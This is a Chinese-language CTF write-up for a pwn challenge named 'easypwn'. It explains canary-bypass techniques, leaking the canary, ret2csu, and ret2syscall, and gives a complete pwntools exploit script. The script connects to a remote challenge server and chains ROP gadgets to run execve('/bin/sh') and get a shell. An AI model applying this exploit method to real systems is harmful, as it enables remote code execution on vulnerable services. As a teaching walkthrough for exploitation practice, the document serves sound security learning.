在这篇文章中将学习到泄露canary、ret2scu和ret2syscall
从中可以看出该程序为64位动态链接的ELF文件,开启了canary保护,需要想办法绕过。
常见的绕过canary的方法分为以下四种:
1、通过read函数泄露canary。 关键的一点就是read函数读取字符串的时候不会在末尾加上“\x00”,这就是gets函数不能用来泄露canary的原因(有些输出函数遇到‘\0’会截断)。
2、暴力破解canary。 这种方法利用起来有限制,就是一般要程序中有fork函数创造出子进程,因为子进程是父进程复制出来的,所以canary也就跟父进程相同,在子进程中覆盖canary后报错就会退回到父进程,此时canary的值是不会改变的。
3、劫持stack_chk_fail。 因为canary被覆盖的时候会调用这个函数,所以如果我们可以利用程序中的漏洞(比如格式化字符串)改got表中stack_chk_fail的地址为one_gadget的地址就能getshell。
4、利用stack_chk_fail的报错信息。 在报错信息中,会将你发生栈溢出的程序名调用输出,其位置位于argv[0],我们可以将argv[0]的地址改写为我们想要获取的内容的地址,使它随着错误提示一起输出。
这里选择泄露canary的值,可以看出canary的位置在[rbp-8h]处,接着想办法泄露出[rbp-8h]处数据。
从源码中可以看出此处可以栈溢出,且canary位置为0x50-8。
由于程序在接收到我们的输入之后会返回回来,且栈是由高地址向低地址增长的,所以如果我们可以覆盖掉canary低位的0x00就可以将canary一起打印出来。
如果我们用sendline(‘a’*(0x50-8))就可将canary低位覆盖为0x0a(空格的ascii码为0x0a)。这样就得到了canary。
之后的输入就是用来构建合适的ROP链,由于不知道libc的版本,所以我们先leak出read函数的地址,然后利用__libc_csu_init()函数来构建(__libc_csu_init()是x64下初始化libc的函数 )。
1.用空格覆盖canary低位的0x00截断,打印出canary
2.泄露出read地址,然后得出syscall的地址
3.利用 __libc_csu_init()函数构建rop链来运行execve(’/bin/sh’,0,0)
#!/usr/bin/python3
from pwn import *
context.binary = './easypwn'
context.terminal = ['tmux','sp','-h']
# context.log_level = 'debug'
# p=process('./easypwn')
p=remote('106.75.2.53',10002)
elf=ELF('./easypwn')
p.recvuntil('Who are you?\n')
p.sendline(b'a'*(0x50-0x8))
p.recvuntil(b'a'*(0x50-0x8))
canary=u64(p.recv(8))-0xa
print ('canary: '+hex(canary))
prdi_ret=0x4007f3
main_addr=0x4006C6
read_got=elf.got['read']
puts_plt=elf.plt['puts']
p.recvuntil('tell me your real name?\n')
payload=b'a'*(0x50-0x8)
payload+=p64(canary)
payload+=b'a'*8
payload+=p64(prdi_ret)
payload+=p64(read_got)
payload+=p64(puts_plt)
payload+=p64(main_addr)
p.send(payload)
p.recvuntil('See you again!\n')
read_addr=u64(p.recvuntil(b'\n',drop=True).ljust(0x8,b'\x00'))
print ('read_addr: '+hex(read_addr))
syscall=read_addr+0xe #syscall
print ('syscall: '+hex(syscall))
sleep(0.5)
ppppppr=0x4007ea #pop rbx,rbp,r12,r13,r14,r15 ret
initaddr=0x4007d0
bss_addr=0x601060
p.recvuntil('Who are you?\n')
p.sendline(b'a'*(0x50-0x8))
p.recvuntil('tell me your real name?\n')
payload=b'a'*(0x50-0x8)
payload+=p64(canary)
payload+=b'a'*8
payload+=p64(ppppppr)
payload+=p64(0)+p64(1)+p64(read_got)
payload+=p64(0x3B)+p64(bss_addr)+p64(0)
payload+=p64(initaddr)
payload+=p64(0)
payload+=p64(0)+p64(1)+p64(bss_addr+8)
payload+=p64(0)+p64(0)+p64(bss_addr)
payload+=p64(initaddr)
p.send(payload)
sleep(0.5)
payload=b'/bin/sh\x00'+p64(syscall)
payload=payload.ljust(0x3B,b'a')
p.send(payload)
p.interactive()
我们知道execve的系统调用号为0x3B,而且read函数会返回读入数据的字节长度,并将这一结果放入eax,即使得eax为0x3B,所以满足系统调用时eax中存放调用号这一限制。
当程序执行bss_addr+8处内容(即syscall中断),加上之前我们将正确的参数传入寄存器中,即可执行execve(’/bin/sh’,0,0)。